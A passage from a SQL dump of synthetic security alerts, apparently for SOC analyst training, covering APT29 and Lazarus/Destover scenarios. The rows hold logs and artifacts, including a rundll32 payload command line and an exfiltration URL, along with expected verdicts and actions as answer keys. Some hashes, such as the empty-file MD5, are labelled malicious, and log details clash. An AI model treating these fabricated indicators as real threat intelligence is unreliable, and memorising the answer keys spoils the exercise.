identified as part of APT29 second-stage payloads.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload_stage2.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File used in second-stage malware deployment.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.188Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\\\",\\\"username\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"payload_stage2.dll\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"command_line\\\":\\\"rundll32.exe payload_stage2.dll,EntryPoint\\\",\\\"event_description\\\":\\\"Second-stage payload executed on the host, enhancing attacker capabilities.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.188Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\\\",\\\"username\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"payload_stage2.dll\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"command_line\\\":\\\"rundll32.exe payload_stage2.dll,EntryPoint\\\",\\\"event_description\\\":\\\"Second-stage payload executed on the host, enhancing attacker capabilities.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.188Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\\\",\\\"username\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"payload_stage2.dll\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"command_line\\\":\\\"rundll32.exe payload_stage2.dll,EntryPoint\\\",\\\"event_description\\\":\\\"Second-stage payload executed on the host, enhancing attacker capabilities.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.188Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\\\",\\\"username\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"payload_stage2.dll\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"command_line\\\":\\\"rundll32.exe payload_stage2.dll,EntryPoint\\\",\\\"event_description\\\":\\\"Second-stage payload executed on the host, enhancing attacker capabilities.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.188Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\\\",\\\"username\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"payload_stage2.dll\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"command_line\\\":\\\"rundll32.exe payload_stage2.dll,EntryPoint\\\",\\\"event_description\\\":\\\"Second-stage payload executed on the host, enhancing attacker capabilities.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(562, 'Data Exfiltration via Stealth Channels', 'high', 'Outbound Traffic Monitoring', 'Detected data exfiltration attempt by APT29 using stealthy communication channels to transmit sensitive information from the internal network to an external server.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:25:43Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"185.199.110.153\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"file_name\":\"confidential_report_2023.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_id\":\"jdoe\",\"action\":\"File Upload\",\"url\":\"https://maliciousdomain.com/upload\",\"description\":\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.110.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT29 operations\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with exfiltrated data by APT29\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://maliciousdomain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL associated with data exfiltration activities\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_report_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.189Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:43Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.199.110.153\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"file_name\\\":\\\"confidential_report_2023.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_id\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Upload\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"description\\\":\\\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.189Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:43Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.199.110.153\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"file_name\\\":\\\"confidential_report_2023.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_id\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Upload\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"description\\\":\\\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.189Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:43Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.199.110.153\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"file_name\\\":\\\"confidential_report_2023.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_id\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Upload\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"description\\\":\\\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.189Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:43Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.199.110.153\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"file_name\\\":\\\"confidential_report_2023.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_id\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Upload\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"description\\\":\\\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.189Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:43Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.199.110.153\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"file_name\\\":\\\"confidential_report_2023.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_id\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Upload\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"description\\\":\\\"Large data transfer detected from internal IP 10.0.5.23 to external IP 185.199.110.153 over HTTPS. File hash and size match known signatures for exfiltrated data.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(563, 'Covering Tracks and Cleanup', 'high', 'System Logs', 'APT29 engaged in advanced defense evasion techniques by cleaning up system logs, removing files, and altering timestamps to eradicate evidence of their intrusion. The activity was detected following unusual log deletions and file manipulations on the compromised host.', 'Defense Evasion', 'T1070.004 - File Deletion', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:05Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.100\",\"username\":\"j.doe\",\"deleted_files\":[\"C:\\\\Windows\\\\Temp\\\\malicious_log.bak\",\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\APT29_trace.txt\"],\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"File Deletion\",\"log_source\":\"Windows Security\",\"message\":\"User j.doe executed file deletion commands to remove traces of unauthorized access.\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious file used by APT29.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.190Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:05Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"j.doe\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_log.bak\\\",\\\"C:\\\\\\\\Users\\\\\\\\j.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\APT29_trace.txt\\\"],\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"File Deletion\\\",\\\"log_source\\\":\\\"Windows Security\\\",\\\"message\\\":\\\"User j.doe executed file deletion commands to remove traces of unauthorized access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.190Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:05Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"j.doe\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_log.bak\\\",\\\"C:\\\\\\\\Users\\\\\\\\j.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\APT29_trace.txt\\\"],\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"File Deletion\\\",\\\"log_source\\\":\\\"Windows Security\\\",\\\"message\\\":\\\"User j.doe executed file deletion commands to remove traces of unauthorized access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.190Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:05Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"j.doe\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_log.bak\\\",\\\"C:\\\\\\\\Users\\\\\\\\j.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\APT29_trace.txt\\\"],\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"File Deletion\\\",\\\"log_source\\\":\\\"Windows Security\\\",\\\"message\\\":\\\"User j.doe executed file deletion commands to remove traces of unauthorized access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.190Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:05Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"j.doe\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_log.bak\\\",\\\"C:\\\\\\\\Users\\\\\\\\j.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\APT29_trace.txt\\\"],\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"File Deletion\\\",\\\"log_source\\\":\\\"Windows Security\\\",\\\"message\\\":\\\"User j.doe executed file deletion commands to remove traces of unauthorized access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.190Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:05Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"j.doe\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_log.bak\\\",\\\"C:\\\\\\\\Users\\\\\\\\j.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\APT29_trace.txt\\\"],\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"File Deletion\\\",\\\"log_source\\\":\\\"Windows Security\\\",\\\"message\\\":\\\"User j.doe executed file deletion commands to remove traces of unauthorized access.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(564, 'Initial Access via Phishing', 'medium', 'Email Security Logs', 'Lazarus Group initiates the attack by deploying phishing emails to Sony employees, leading to network infiltration.', 'Phishing Attack', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:22:43Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"email_subject\":\"Urgent: Action Required for Sony Account Update\",\"email_from\":\"it-support@sonypictures.com\",\"email_to\":\"john.doe@sonypictures.com\",\"attachment\":\"update-instructions.pdf\",\"attachment_hash\":\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\",\"malicious_link\":\"http://malicious-update.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of Sony Pictures network.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"it-support@sonypictures.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Spoofed email address used in phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known phishing PDF attachment.\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://malicious-update.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Scan\",\"verdict\":\"malicious\",\"details\":\"URL used for credential harvesting.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.192Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:22:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"email_subject\\\":\\\"Urgent: Action Required for Sony Account Update\\\",\\\"email_from\\\":\\\"it-support@sonypictures.com\\\",\\\"email_to\\\":\\\"john.doe@sonypictures.com\\\",\\\"attachment\\\":\\\"update-instructions.pdf\\\",\\\"attachment_hash\\\":\\\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\\\",\\\"malicious_link\\\":\\\"http://malicious-update.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.192Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:22:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"email_subject\\\":\\\"Urgent: Action Required for Sony Account Update\\\",\\\"email_from\\\":\\\"it-support@sonypictures.com\\\",\\\"email_to\\\":\\\"john.doe@sonypictures.com\\\",\\\"attachment\\\":\\\"update-instructions.pdf\\\",\\\"attachment_hash\\\":\\\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\\\",\\\"malicious_link\\\":\\\"http://malicious-update.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.192Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:22:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"email_subject\\\":\\\"Urgent: Action Required for Sony Account Update\\\",\\\"email_from\\\":\\\"it-support@sonypictures.com\\\",\\\"email_to\\\":\\\"john.doe@sonypictures.com\\\",\\\"attachment\\\":\\\"update-instructions.pdf\\\",\\\"attachment_hash\\\":\\\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\\\",\\\"malicious_link\\\":\\\"http://malicious-update.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.192Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:22:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"email_subject\\\":\\\"Urgent: Action Required for Sony Account Update\\\",\\\"email_from\\\":\\\"it-support@sonypictures.com\\\",\\\"email_to\\\":\\\"john.doe@sonypictures.com\\\",\\\"attachment\\\":\\\"update-instructions.pdf\\\",\\\"attachment_hash\\\":\\\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\\\",\\\"malicious_link\\\":\\\"http://malicious-update.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.192Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:22:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"email_subject\\\":\\\"Urgent: Action Required for Sony Account Update\\\",\\\"email_from\\\":\\\"it-support@sonypictures.com\\\",\\\"email_to\\\":\\\"john.doe@sonypictures.com\\\",\\\"attachment\\\":\\\"update-instructions.pdf\\\",\\\"attachment_hash\\\":\\\"3d2c9c6e1f8b2c1ddf3f2c9e1b8c3d2c\\\",\\\"malicious_link\\\":\\\"http://malicious-update.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(565, 'Execution of Destover Malware', 'high', 'Endpoint Detection and Response (EDR)', 'The attackers execute the \'Destover\' wiper malware, causing widespread system damage and data destruction.', 'Malware Deployment', 'T1485: Data Destruction', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"EDR-2023-1024\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"malware_name\":\"Destover\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\destover_wiper.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"process_id\":5678,\"action\":\"Malware Execution\",\"description\":\"Detected execution of Destover malware on endpoint.\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate endpoint.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Destover 